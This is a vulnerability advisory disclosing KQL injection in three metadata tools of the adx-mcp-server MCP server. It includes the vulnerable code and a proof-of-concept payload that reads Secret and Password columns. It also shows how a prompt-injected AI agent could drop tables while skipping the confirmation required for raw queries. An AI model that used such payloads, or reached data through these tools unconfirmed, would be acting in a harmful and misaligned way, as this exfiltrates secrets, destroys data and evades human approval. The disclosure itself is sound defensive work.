Summary
adx-mcp-server (<= latest, commit 48b2933) contains KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: get_table_schema, sample_table_data, and get_table_details. The table_name parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster.
Details
The MCP tools construct KQL queries by directly embedding the table_name parameter into query strings:
Vulnerable code (permalink):
@mcp.tool(...)
async def get_table_schema(table_name: str) -> List[Dict[str, Any]]:
client = get_kusto_client()
query = f"{table_name} | getschema"
# <-- KQL injection
result_set = client.execute(config.database, query)@mcp.tool(...)
async def sample_table_data(table_name: str, sample_size: int = 10) -> List[Dict[str, Any]]:
client = get_kusto_client()
query = f"{table_name} | sample {sample_size}"
# <-- KQL injection
result_set = client.execute(config.database, query)@mcp.tool(...)
async def get_table_details(table_name: str) -> List[Dict[str, Any]]:
client = get_kusto_client()
query = f".show table {table_name} details"
# <-- KQL injection
result_set = client.execute(config.database, query)KQL allows chaining query operators with | and executing management commands prefixed with .. An attacker can inject:
sensitive_table | project Secret, Password | take 100 //to read arbitrary tables- Newline-separated management commands like
.drop table important_dataviaget_table_details - Arbitrary KQL analytics queries via any of the three tools
Note: While the server also has an execute_query tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to "safe" tools while requiring confirmation for execute_query. The injection bypasses this trust boundary.
PoC
# PoC: KQL Injection via get_table_schema tool
# The table_name parameter is injected into: f"{table_name} | getschema"
import json
# MCP tool call that exfiltrates data from a sensitive table
tool_call = {
"name": "get_table_schema",
"arguments": {
"table_name": "sensitive_data | project Secret, Password | take 100 //"
}
}
print(json.dumps(tool_call, indent=2))
# Resulting KQL: "sensitive_data | project Secret, Password | take 100 // | getschema"
# The // comments out "| getschema", executing an arbitrary data query instead
# Destructive example via get_table_details:

KQL injection in adx-mcp-server Python package allows authenticated attackers to execute arbitrary Kusto queries against Azure Data Explorer clusters. Three MCP tool handlers (get_table_schema, sample_table_data, get_table_details) unsafely interpolate the table_name parameter into query strings via f-strings, enabling data exfiltration from arbitrary tables, execution of management commands, and potential table drops. …
